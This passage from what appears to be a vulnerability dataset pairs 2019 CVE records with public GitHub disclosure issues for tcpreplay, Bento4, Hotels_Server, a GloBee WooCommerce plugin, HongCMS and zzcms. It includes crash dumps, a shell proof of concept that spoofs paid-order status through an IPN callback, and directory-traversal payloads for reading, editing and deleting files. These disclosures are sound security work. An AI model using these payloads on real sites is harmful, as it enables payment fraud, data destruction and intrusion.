"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EB3ASS7URTIA3IFSBL2DIWJAFKTBJCAW/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MLPY6W7Z7G6PF2JN4LXXHCACYLD4RBG6/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/invalid-memory-access-vulnerability-in-function-do_checksum-tcpreplay-4-3-1/" } ]

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[ "119" ]

119

https://github.com/appneta/tcpreplay/issues/538

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "appneta", "tcpreplay" ]

**Description** - we observed that there is an Invalid memory access at `do_checksum ()` in `checksum.c` .The same be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - tcpreplay-edit -r 80:84 -s 20 -b -C -m 1500 -P --oneatatime -i $INTERFACE $POC **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/tcpreplay/IMA?raw=true) **Debug** - **GDB** - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x555500000000 $rbx : 0x00005555557b7bb8 → 0x0000337330706e65 ("enp0s3"?) $rcx : 0x3 $rdx : 0xffffffffaa841df2 $rsp : 0x00007fffffffd930 → 0x0000000000000000 $rbp : 0x00007fffffffd990 → 0x00007fffffffd9d0 → 0x00007fffffffda70 → 0x00007fffffffdbc0 → 0x00007fffffffdd10 → 0x00007fffffffdd40 → 0x00007fffffffddd0 → 0x00007fffffffe210 $rsi : 0x3 $rdi : 0x00005555557be20e → 0x0011323003000062 ("b"?) $rip : 0x00005555555696dc → <do_checksum+524> movzx eax, WORD PTR [rax+0x6] $r8 : 0x15 $r9 : 0x00005555557be200 → 0x6567616d692f0000 $r10 : 0x00005555557b9700 → 0x0000000000000000 $r11 : 0x00007ffff78d6000 → <__fread_chk+0> push r13 $r12 : 0x00007ffff7bbb954 → 0x6800424d30314e45 ("EN10MB"?) $r13 : 0x00007fffffffe2f0 → 0x000000000000000e $r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd930│+0x0000: 0x0000000000000000 ← $rsp 0x00007fffffffd938│+0x0008: 0x00000011557be239 0x00007fffffffd940│+0x0010: 0x00005555557be20e → 0x0011323003000062 ("b"?) 0x00007fffffffd948│+0x0018: 0x00005555557b86c0 → 0x0000000000000001 0x00007fffffffd950│+0x0020: 0x00007fffffffd980 → 0x00007fffffffd9d0 → 0x00007fffffffda70 → 0x00007fffffffdbc0 → 0x00007fffffffdd10 → 0x00007fffffffdd40 → 0x00007fffffffddd0 0x00007fffffffd958│+0x0028: 0x00000000aa841df2 0x00007fffffffd960│+0x0030: 0x0000000000000000 0x00007fffffffd968│+0x0038: 0x00005555557be20e → 0x0011323003000062 ("b"?) ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x5555555696d1 <do_checksum+513> add rax, rdx 0x5555555696d4 <do_checksum+516> mov QWORD PTR [rbp-0x18], rax 0x5555555696d8 <do_checksum+520> mov rax, QWORD PTR [rbp-0x18] → 0x5555555696dc <do_checksum+524> movzx eax, WORD PTR [rax+0x6] 0x5555555696e0 <do_checksum+528> test ax, ax 0x5555555696e3 <do_checksum+531> je 0x555555569939 <do_checksum+1129> 0x5555555696e9 <do_checksum+537> mov rax, QWORD PTR [rbp-0x18] 0x5555555696ed <do_checksum+541> mov WORD PTR [rax+0x6], 0x0 0x5555555696f3 <do_checksum+547> cmp QWORD PTR [rbp-0x28], 0x0 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:checksum.c+99 ──── 94 break; 95 96 case IPPROTO_UDP: 97 udp = (udp_hdr_t *)(data + ip_hl); 98 /* No need to recalculate UDP checksums if already 0 */ // udp=0x00007fffffffd978 → 0x0000555500000000 → 99 if (udp->uh_sum == 0) 100 break; 101 udp->uh_sum = 0; 102 if (ipv6 != NULL) { 103 sum = do_checksum_math((uint16_t *)&ipv6->ip_src, 32); 104 } else { ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "tcpreplay-edit", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x5555555696dc → do_checksum(tcpedit=0x5555557b86c0, data=0x5555557be20e "b", proto=0x11, len=0x557be239) [#1] 0x555555565fbc → fix_ipv4_checksums(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdb50, ip_hdr=0x5555557be20e) [#2] 0x555555564991 → tcpedit_packet(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdac0, pktdata=0x7fffffffdab0, direction=TCPR_DIR_C2S) [#3] 0x55555555c589 → send_packets(ctx=0x5555557aa260, pcap=0x5555557ba860, idx=0x0) [#4] 0x555555563169 → replay_file(ctx=0x5555557aa260, idx=0x0) [#5] 0x555555562a1b → tcpr_replay_index(ctx=0x5555557aa260) [#6] 0x555555562341 → tcpreplay_replay(ctx=0x5555557aa260) [#7] 0x55555555f112 → main(argc=0x1, argv=0x7fffffffe360) ──────────────────────────────────────────────────────────────────────────────────────────── gef➤ p *udp Cannot access memory at address 0x555500000000 ```

Invalid memory access in do_checksum()

https://api.github.com/repos/appneta/tcpreplay/issues/538/comments

3

2019-02-12T17:10:10Z

2019-03-12T21:06:50Z

https://github.com/appneta/tcpreplay/issues/538

409,407,192

538

188

CVE-2019-8382

2019-02-17T02:29:00.597

An issue was discovered in Bento4 1.5.1-628. A NULL pointer dereference occurs in the function AP4_List:Find located in Core/Ap4List.h when called from Core/Ap4Movie.cpp. It can be triggered by sending a crafted file to the mp4dump binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/364" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/null-pointer-dereference-vulnerability-in-function-ap4_listfind-bento4-1-5-1-628/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/364" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/null-pointer-dereference-vulnerability-in-function-ap4_listfind-bento4-1-5-1-628/" } ]

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[ "476" ]

476

https://github.com/axiomatic-systems/Bento4/issues/364

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

**Description** - we observed a NULL pointer dereference occured in function AP4_List<AP4_Track>: Find () located in Ap4List.h.The same be triggered by sending a crafted file to the mp4dump binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. **Command** - `./mp4dump --track 1:E791400BC075044176E34136E3C134F35E3513BE430B907B --format text $POC` **POC** - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/BENTO4/POC_NP?raw=true) **Degub** - **ASAN REPORT** - ``` ASAN: DEADLYSIGNAL ================================================================= ==10246==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000030 (pc 0x55d0b61aeae7 bp 0x7ffcc696e490 sp 0x7ffcc696e460 T0) ==10246==The signal is caused by a READ memory access. ==10246==Hint: address points to the zero page. #0 0x55d0b61aeae6 in AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder const&, AP4_Track*&) const /home/aceteam/Desktop/packages/Bento4/Source/C++/Core/Ap4List.h:428 #1 0x55d0b61adb79 in AP4_Movie::GetTrack(unsigned int) /home/aceteam/Desktop/packages/Bento4/Source/C++/Core/Ap4Movie.cpp:148 #2 0x55d0b6161f2f in DumpTrackData(char const*, AP4_File&, AP4_Array<unsigned int> const&, AP4_ProtectionKeyMap const&) /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Mp4Dump/Mp4Dump.cpp:183 #3 0x55d0b616304f in main /home/aceteam/Desktop/packages/Bento4/Source/C++/Apps/Mp4Dump/Mp4Dump.cpp:367 #4 0x7faa6d1a4b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #5 0x55d0b61612f9 in _start (/home/aceteam/Desktop/packages/Bento4/builds/mp4dump+0x3082f9) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/aceteam/Desktop/packages/Bento4/Source/C++/Core/Ap4List.h:428 in AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder const&, AP4_Track*&) const ==10246==ABORTING ``` **GDB** - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x20 $rbx : 0x7fffffffd7e0 → 0x0000555555da9370 → 0x0000555555869846 → <AP4_AtomFactory::~AP4_AtomFactory()+0> push rbp $rcx : 0x0 $rdx : 0x0 $rsp : 0x7fffffffd6f0 → 0x00007fffffffd730 → 0x00000001ffffd750 → 0x0000000000000000 $rbp : 0x7fffffffd720 → 0x00007fffffffd810 → 0x00007fffffffd880 → 0x00007fffffffdc70 → 0x0000555555985150 → <__libc_csu_init+0> push r15 $rsi : 0x7fffffffd7a0 → 0x0000555555da98f0 → 0x00005555558aa0fe → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp $rdi : 0x20 $rip : 0x5555558a9ae7 → <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rax+0x10] $r8 : 0x6 $r9 : 0x1e $r10 : 0x7ffff7fbd000 → 0x00007ffff7fee000 → 0x00007ffff716a698 → 0x00007ffff6f09090 → repz ret $r11 : 0x7ffff64a9b97 → <__libc_start_main+231> mov edi, eax $r12 : 0x7fffffffd740 → 0x0000000041b58ab3 $r13 : 0xffffffffae8 → 0x0000000000000000 $r14 : 0x20 $r15 : 0x7fffffffd740 → 0x0000000041b58ab3 $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $ss: 0x002b $cs: 0x0033 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffd6f0│+0x00: 0x00007fffffffd730 → 0x00000001ffffd750 → 0x0000000000000000 ← $rsp 0x00007fffffffd6f8│+0x08: 0x00007fffffffd760 → 0x0000000000000000 0x00007fffffffd700│+0x10: 0x00007fffffffd7a0 → 0x0000555555da98f0 → 0x00005555558aa0fe → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp 0x00007fffffffd708│+0x18: 0x0000000000000020 0x00007fffffffd710│+0x20: 0x00000001fffffaf8 → 0x0000000000000000 0x00007fffffffd718│+0x28: 0x00007fffffffd7a0 → 0x0000555555da98f0 → 0x00005555558aa0fe → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp 0x00007fffffffd720│+0x30: 0x00007fffffffd810 → 0x00007fffffffd880 → 0x00007fffffffdc70 → 0x0000555555985150 → <__libc_csu_init+0> push r15 ← $rbp 0x00007fffffffd728│+0x38: 0x00005555558a8b7a → <AP4_Movie::GetTrack(unsigned+0> test eax, eax ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x5555558a9adb <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rdi, rax 0x5555558a9ade <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> call 0x55555585c180 <__asan_report_load8@plt> 0x5555558a9ae3 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rbp-0x18] → 0x5555558a9ae7 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rax+0x10] 0x5555558a9aeb <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov QWORD PTR [rbp-0x8], rax 0x5555558a9aef <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> cmp QWORD PTR [rbp-0x8], 0x0 0x5555558a9af4 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> je 0x5555558a9c13 <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder const&, AP4_Track*&) const+361> 0x5555558a9afa <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rax, QWORD PTR [rbp-0x20] 0x5555558a9afe <AP4_List<AP4_Track>::Find(AP4_List<AP4_Track>::Item::Finder+0> mov rdx, rax ──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:/home/aceteam//Bento4/Source/C++/Core/Ap4List.h+428 ]──── 423 template <typename T> 424 inline 425 AP4_Result 426 AP4_List<T>::Find(const typename Item::Finder& finder, T*& data) const 427 { // item=0x00007fffffffd718 → [...] → <AP4_TrackFinderById::~AP4_TrackFinderById()+0> push rbp → 428 Item* item = m_Head; 429 430 while (item) { 431 if (finder.Test(item->m_Data) == AP4_SUCCESS) { 432 data = item->m_Data; 433 return AP4_SUCCESS; ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "mp4dump", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x5555558a9ae7 → Name: AP4_List<AP4_Track>::Find(this=0x20, finder=@0x7fffffffd7a0, data=@0x7fffffffd760) [#1] 0x5555558a8b7a → Name: AP4_Movie::GetTrack(this=0x0, track_id=0x1) [#2] 0x55555585cf30 → Name: DumpTrackData(mp4_filename=0x7fffffffe17b "$POC", mp4_file=@0x7fffffffdb80, tracks_to_dump=@0x7fffffffda80, key_map=@0x7fffffffdac0) [#3] 0x55555585e050 → Name: main(argc=0x6, argv=0x7fffffffdd90) ───────────────────────────────────────────────────────────────────────────────────────────────── ```

NULL POINTER DEREFERENCE in AP4_List<AP4_Track>: Find ()

https://api.github.com/repos/axiomatic-systems/Bento4/issues/364/comments

0

2019-02-01T10:30:07Z

https://github.com/axiomatic-systems/Bento4/issues/364

405,641,344

364

189

CVE-2019-8393

2019-02-17T15:29:00.197

Hotels_Server through 2018-11-05 has SQL Injection via the API because the controller/api/login.php telephone parameter is mishandled.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/FantasticLBP/Hotels_Server/issues/4" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/FantasticLBP/Hotels_Server/issues/4" } ]

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[ "89" ]

89

https://github.com/FantasticLBP/Hotels_Server/issues/4

[ "Exploit", "Third Party Advisory" ]

github.com

[ "FantasticLBP", "Hotels_Server" ]

In /controller/api/login.php It will receive a parameter called "telephone" to search for existed users. But in fact,this parameter just become a part of the SQL request without any process,so it will be possible to have a SQL injection. We can use SQLMAP to test this vulnerability: ![20190215223537](https://user-images.githubusercontent.com/47685077/52908970-f2c7d880-32ba-11e9-8d3e-25998c77e43d.png) ![20190215223806](https://user-images.githubusercontent.com/47685077/52908974-feb39a80-32ba-11e9-845d-b9d3cfeea088.png) ![20190215223829](https://user-images.githubusercontent.com/47685077/52908972-f9eee680-32ba-11e9-834a-efb0f9f8919f.png)

Hotels_Server through 2018-11-05 has SQL Injection via the API.

https://api.github.com/repos/FantasticLBP/Hotels_Server/issues/4/comments

1

2019-02-17T05:50:57Z

2020-02-01T07:06:39Z

https://github.com/FantasticLBP/Hotels_Server/issues/4

411,152,526

4

190

CVE-2018-20782

2019-02-17T18:29:00.233

The GloBee plugin before 1.1.2 for WooCommerce mishandles IPN messages.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": null, "url": "https://github.com/GloBee-Official/woocommerce-payment-api-plugin/issues/3" }, { "source": "cve@mitre.org", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/GloBee-Official/woocommerce-payment-api-plugin/pull/2" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory", "VDB Entry" ], "url": "https://www.exploit-db.com/exploits/46414/" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": null, "url": "https://github.com/GloBee-Official/woocommerce-payment-api-plugin/issues/3" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Patch", "Third Party Advisory" ], "url": "https://github.com/GloBee-Official/woocommerce-payment-api-plugin/pull/2" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory", "VDB Entry" ], "url": "https://www.exploit-db.com/exploits/46414/" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:globee:woocommerce:*:*:*:*:*:woocommerce:*:*", "matchCriteriaId": "2000B4B1-0161-4C42-BA7F-E5B762DC52AA", "versionEndExcluding": "1.1.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "20" ]

20

https://github.com/GloBee-Official/woocommerce-payment-api-plugin/issues/3

null

github.com

[ "GloBee-Official", "woocommerce-payment-api-plugin" ]

### [CVE-2018-20782](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20782) Reliance on untrusted inputs ([CWE-807](https://cwe.mitre.org/data/definitions/807.html)), insufficient data verification and lack of any cryptographic authentication (hmac etc) at IPN callback allow remote (**even _unauthorized_**) attacker to bypass payment process and spoof real order status without actually paying for it. ### Vulnerable code (fixed in PR #2) https://github.com/GloBee-Official/woocommerce-payment-api-plugin/blob/8c254d6100ef4cfb3432b219726f4936c1531234/src/Gateway.php#L374-L511 **Affected versions:** ≤ 1.1.1 **Tested on:** WordPress 4.9.9 + WooCommerce 3.5.1 + [GloBee Payment Gateway Plugin 1.1.1](https://github.com/GloBee-Official/woocommerce-payment-api-plugin/releases/tag/v1.1.1) <details><summary><strong>Proof-of-Concept</strong></summary> PoC (php): <a href="https://www.exploit-db.com/exploits/46414">exploit-db.com/exploits/46414</a> PoC (shell): ```bash #!/bin/sh - : ${3?$'\n'"Usage: $0 SHOP_URL PAYMENT_ID ORDER_ID"} url=${1%/} pid=${2} oid=${3//[!0-9]/} echo "Shop URL: $url" echo "Payment ID: $pid" echo "Order ID: $oid" confirm() { read -r -p "${1:-$'\nAre you sure? [y/N]'} " response case "$response" in [yY][eE][sS]|[yY]) true ;; *) false ;; esac } payload() { cat <<EOF { "id": "$pid", "status": "completed", "custom_payment_id": "$oid" } EOF } confirm && response=$(curl -s -X POST \ "$url/wc-api/globee_ipn_callback" \ -H 'cache-control: no-cache' \ -H 'content-type: application/json' \ -d "$(payload)" ) && echo "Done: $response" ``` </p> </details>

Public disclosure on CVE-2018-20782 [Payment Bypass / Unauthorized Order Status Spoofing]

https://api.github.com/repos/GloBee-Official/woocommerce-payment-api-plugin/issues/3/comments

1

2019-02-19T10:43:57Z

2019-02-19T14:34:55Z

https://github.com/GloBee-Official/woocommerce-payment-api-plugin/issues/3

411,858,638

3

191

CVE-2019-8407

2019-02-17T18:29:00.280

HongCMS 3.0.0 allows arbitrary file read and write operations via a ../ in the filename parameter to the admin/index.php/language/edit URI.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 5.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 1.2, "impactScore": 5.2, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Neeke/HongCMS/issues/7" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/Neeke/HongCMS/issues/7" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:hongcms_project:hongcms:3.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "5B8D6DB5-CC3D-4315-92A2-72E06A9AB4F3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "22" ]

22

https://github.com/Neeke/HongCMS/issues/7

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Neeke", "HongCMS" ]

1.Login to the backstage as the administrator; 2.You need to access the page" http://127.0.0.1/hongcms/admin/index.php/language/edit?filename=Chinese.php" or "http://127.0.0.1/hongcms/admin/index.php/language/edit?filename=English.php". ![1](https://user-images.githubusercontent.com/24263756/52030128-53cc7e00-2551-11e9-86d7-cb119c92c000.png) 3.Change the file name you want to edit or read in the URL and access this page. For example: "http://127.0.0.1/hongcms/admin/index.php/language/edit?filename=../../index.php". ![2](https://user-images.githubusercontent.com/24263756/52030160-7ced0e80-2551-11e9-891d-a2a1b08f8942.png) 4.You can see that index.php has been read and edited.

HongCMS 3.0 - Arbitrary Files Read and Edit (Administrator Privilege)

https://api.github.com/repos/Neeke/HongCMS/issues/7/comments

0

2019-01-27T08:24:49Z

2019-01-31T04:12:40Z

https://github.com/Neeke/HongCMS/issues/7

403,527,457

7

192

CVE-2019-8411

2019-02-17T19:29:00.240

admin/dl_data.php in zzcms 2018 (2018-10-19) allows remote attackers to delete arbitrary files via action=del&filename=../ directory traversal.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.4, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 4.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/615/VulnPoC/issues/1" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/615/VulnPoC/issues/1" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:zzcms:zzcms:2018:*:*:*:*:*:*:*", "matchCriteriaId": "5ADC4DD7-AC80-468B-8900-2EA01AD0CB81", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "22" ]

22

https://github.com/615/VulnPoC/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "615", "VulnPoC" ]

link: http://www.zzcms.net/about/6.htm ![image](https://user-images.githubusercontent.com/14980632/50888138-f18bcc00-142f-11e9-8216-559514c67430.png) Edition: zzcms 2018 data:2018-10-19 /admin/dl_data.php 0x01 Vulnerability ![image](https://user-images.githubusercontent.com/14980632/50888434-9c03ef00-1430-11e9-9931-c975f10429ae.png) There is unlink($fp) to delete any file by controlloing the value of $_GET["filename"] 0x02 Control $fp We can see first ==> $_REQUEST['action']) second ==> if ($action=="del") so set url ==> action=del&filename= 0x03 payload Payload is as follows, directly post: action=del&filename=../1.txt remote attackers can delete arbitrary files via directory traversal no authentication also can delete file ![image](https://raw.githubusercontent.com/615/VulnPoC/master/pic/1.png) so we can delete /install/install.lock

zzcms v2018 data:2018-10-19

https://api.github.com/repos/615/VulnPoC/issues/1/comments

1

2019-01-09T09:41:42Z

2019-01-10T00:45:21Z

https://github.com/615/VulnPoC/issues/1

397,286,483

1

193

CVE-2019-7649

2019-02-17T21:29:00.227

